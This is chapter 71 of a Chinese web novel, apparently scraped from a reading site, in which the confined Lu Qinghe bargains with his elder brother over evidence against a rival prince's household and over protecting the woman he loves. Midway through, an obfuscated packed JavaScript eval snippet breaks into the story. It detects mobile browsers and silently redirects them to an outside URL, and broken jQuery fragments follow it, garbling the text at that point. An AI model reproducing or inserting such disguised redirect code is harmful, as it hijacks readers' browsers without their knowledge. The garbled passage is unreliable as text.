71.瑛王府
    日升月落,又是第二天。阿凤进屋伺候的时候,顺便说了四姨娘也被禁足了的消息。

    陆清和神色不变,静静看着书,那书页却许久没动过,“这样也好,四姨娘也省心,不必到我面前怨怪了。”

    阿凤是四姨娘向北瑛王讨要的,后来又送给了陆清和,所以知道四姨娘争强斗胜的性子。她本来就处处强求着陆清和,非要他比过陆景明这个嫡长子一头,但凡比不上的地方,该怎么拷打鞭策都来。

    公子出府前,说是替王府、替皇帝办事去了,让四姨娘冰块一般的脸总算松动些。如今回来确实待罪之身,考虑到四姨娘的性子,阿凤甚至摸不清楚这禁足四姨娘,是王爷对四房的惩戒,还是对公子的体恤了。

    阿凤想了想:“只怕四姨娘会更迁怒公子……”

    陆清和唇角扬了扬,“大哥不是也在京么,届时再让大哥找个由头来见我。”

    打小被四姨娘折磨得不行了,陆景明就会在四房的门口出现,张牙舞爪地说陆清和弄坏了他的木枪或是木武人,让他出来赔罪。

    借这种拙劣的理由将他解救出来。

    想到公子年青时候的事,阿凤嗳了一声,眉眼也缓和。

    说话间,见陆清和憔悴,像是晚上没休息好的模样,不禁担忧起来:

    “公子,您还在担心莲州那边吗?虽说阿凤立时教不会您翻墙,但踅摸一些桌椅板凳,将公子抬出去也是可以的。”

    “罢了。”陆清和放下书,日光在他脸上沉静地流淌着,“我就算翻出去,又能帮她什么?本想这次回家,能将她介绍给父亲听一听,如今却连父亲也见不到。”

    若是能递个消息给王爷也好。但圣令如山,多少双眼睛盯着王府呢。

    其实这北瑛王府看着恢宏,却不是北瑛王的主场,个中不知有多少皇帝的眼线。真正的北瑛王府在边境,在军营,在喊声震天的热血战场。北瑛王是靠战功得到爵位的,圣上的忌惮、朝里的争斗,他不是想不到,而是不在意。

    因而宫里说禁足,那必然是禁得结结实实,王爷把圣令当军令一样遵守,哪怕是阿凤要去求情,他也不会见的。

    一筹莫展的时候,院外却传来爽朗的一声:“陆清和!”

    从窗子里望出去,正是刚才惦记的亲哥,陆景明,此时横坐在院墙上,耷下半条腿来,笑得如其名字一般,景和澄明。

    闻名遐迩的陆世子,此时既不像在军中那般肃杀,也不如在朝中那般恭谨,见了陆清和,依稀还像个十六七的少年。但脸上的沟壑分明告诉陆清和,他已经是个刀下饮血的将军郎了。

    陆景明兀然出现,按道理,转机就出现了。若是拜托世子爷去在王爷面前说话求情,说什么都使得。

    陆清和却微微扣了手指,书角蹙起不显眼的褶皱。

    他心中犹豫,脸上笑意平静:“兄长,还不下来,生怕父亲没发现你偷偷来见我不成?”

    陆景明翻身落地,极好的功夫,鞋底触及树边的泥土,没惊起一丝灰。

    陆清和叹了声:“真好。”

    待落了地,陆景明却犹豫了。

    陆清和在心中摇了摇头。他这大哥,这些年学会了隐忍,骨子里却还是急躁的。

    “顺道给你带的炉烤鸭。”陆景明朝他丢了个油纸包,“尤记得你小时候爱吃这个。虽然现在的口味或许变了,但大哥的好意你就受着吧,我也不是什么精细人儿,懒怠去想你如今爱吃什么了。……你刚才说什么好?”

    陆清和说:“许久未见兄长,见兄长身体康健,功夫进益,清和觉得甚好。我自幼不才,若是有兄长的造化便好了。”

    陆景明笑骂了一声:“少拿这些客套话敷衍我。多久没见,你就又变回这副文绉绉的样子。”

    说罢,短暂地沉默。

    风声吹动。云京的风不比南方,可以悠哉婆娑地吹动叶子。北面的树大叶子小,一到秋天更是叶落得只剩树杈。劲风一过,被树杆子割得成碎片,恍若刀剑相交那一声金属的铮鸣,冷硬凄厉。

    阿凤知道内情,识趣地退了出去。

    陆景明问:“你其实一直记恨我,是不是。若非府里当时要你做我的药引,你的身体……”

    陆清和打断了他:“哪里的话。彼时兄长还年幼,朝中异党竟派人在六岁幼童的吃食里下毒。兄长中的毒诡烈,太医只能想出以毒攻毒的法子,却是要血亲服下相克的毒药,在以血为药引给兄长治疗。服毒的事有致命的风险,父亲王妃位高权重,岂敢让他们冒险。”

    谁让四姨娘房里,恰好有一个健康的孩子呢。

    四姨娘为了在王爷面前挣脸面,抱出陆清和,自请用自己孩子的性命来冒一次险。而他命大,经过这一遭竟然顺利活了下来,还多了个耐毒耐药的本事……除了身体比常人略弱质,只能练一些花架子,无法练武从军之外,没有什么落下什么病根。

    故而,“……有什么好记恨的?如今你我一切都好。我能救兄长一命,不悔。”

    陆景明苦笑一声。

    说什么六岁幼童,陆清和当时不比他还小么?只不过是姨娘房里的庶子,权衡之下,比不过他这个世子重要罢了。他从那时起就对不起陆清和,陆景明心里和明镜似的。

    陆景明道:“是我的错。我和你从小长大,怎么不知道你的心气?让你无法建功立业,哥哥知道你心里不好受。”

    他知道他的弟弟有野心,因为他自己也有。可惜他如今的境遇也并不太好。从军多年,空有军功,没有军衔。因而要为自己挣一份命,欠陆清和的,只有下辈子再还。

    陆清和一笑置之:“有空说那些,不如帮我个忙。”

    陆景明郑重道:“你说,你开金口,我义不容辞。”

    “我获罪的原因,想必兄长也知道了……”

    “这个我帮不了你。”陆景明果断道,“你聪明,应当也已经知道圣上降罪,是云顺郡王使的劲。他如今风头正盛,我抵不过他。”

    陆清和温和道:“我没要说这个。兄长所言,我自然知道。圣上明知我手中有不利于他的证据,却仍偏信于他,禁足于我,想必也有敲打父王的考量。兄长,你这几年没能高升,各中原因,想必你也清楚。”

    陆景明神色顿时寂然下来。

    这话没错。他们北瑛王府要查宣王府承办的矿场,其中多少有皇帝说不清道不明的支持。而皇帝忌惮宣王府,难道就不忌惮手握兵权的北瑛王府?北瑛王连年功高几乎盖主,难道能让他的儿子继续积累这个功勋和名声?

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13552594|130187||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    两相之下,若宣王府那头有能压制北瑛王府的故事,皇帝自然也乐意一听。

    陆清和见他彷徨,拍了拍他的肩:“只是莲州那个玉春楼的掌柜娘子,是我放在心上的人,求兄长替我保她一命,此后要我为兄长做什么,都不在话下。”

    陆景明震惊他开窍之余,听到后一句话,心中更是一动。

    踌躇再三,陆景明道:“若我要你,将收集的宣王府谋逆的证据,悉数交予我呢?”

    见陆清和嘴角明显捺下来,忙补充道:“哥哥是见你如今陷在家中,承递不上,想替你周全么。你觉得不便,我就不提也罢。”

    陆清和这才笑了,和他唠几句闲话:

    “你这样事事顾念我,我才会觉得自己像个不中用的人。过去的事,就过去了。兄长在军营中,有所不知,我因那事之故,从小浸透在药汤里,如今几乎百毒不侵了,皇土上能找到的毒药都伤不了我。前些时候有小娘子给我下药,我还能维持神志。”

    虽然下的是媚药。但他不会说这些。谢辛辛对他下媚药,如今在他眼里,也成了他们初见之时的情趣。

    “……除非是蚀心散这等东洋传来的杂毒怪药,一口气吞下半两,那才是神仙难救。”

    话落到陆景明的耳朵里,他眼中忽地变幻起来。

    陆清和噙了一口茶,淡淡地望进去,看到自家兄长眼里的复杂,有无措,有惶然的失望,也有一瞬间地轻懈,仿佛卸下来一桩重担。

    陆景明稳了稳心神,“我倒真不知道有这种事……那让你挂怀小娘子是怎么样的,年岁几何,外貌如何?南方的女子,应是温柔水灵吧?和你相配得很,牵绊住你,实属正常。我抽个时间就去找她。”

    他的好哥哥,虽然关心晚来了些,终于还是问到了。只是这问话陆清和听着笑出了声,“温柔啊……可持剑指人,敢怒骂王权,哪里有麻烦,就愈要往哪里钻,身上背着千斤的担子,选了一条尸横遍野的路。和温柔不怎么相干,但着实厉害。”

    没见过用厉害形容心上人的。可他笑着,笑音却缱绻动人,一时让陆景明也晃了神。

    到底是亲人,如若可以,他将弟妹接进来,他们一家人共享天伦之乐,多么和谐美好。

    可陆清和并不让他畅想太久,不知有几分刻意地又提到:“我说给我下药的小娘子,也就是她。兄长猜猜为什么?因为她是云顺郡王的未婚妻……不,如今被废了,却和宣王府藕断丝连。郡王爷没跟你提起过吗?”

    秋冬相交际的风乍然吹过,门口树丫坚持了许久,终于咔嚓崩断了。

    陆景明出了些冷汗,下意识按了按腰间。

    那腰上常年挂着军中制式的佩刀,只是进了家宅后,不便再随身佩戴着,唬人得紧。

    但陆景明仍然保留着这个习惯,起了杀心的时候,便按一按侧腰。

    这弟弟是试探他?还是随口唠的家常?陆景明不敢赌,定定地望着眼前人。茶烟缭绕,遮住了陆清和的眉眼,叫他看不清楚。

    他这才发现,多年不见,不光自己滋生出了不该的心思,他的弟弟也长大了。

    陆清和不露声色,温声道:“兄长,你帮我救她,我再考虑一下那些宣王府的罪证,该不该交给你。”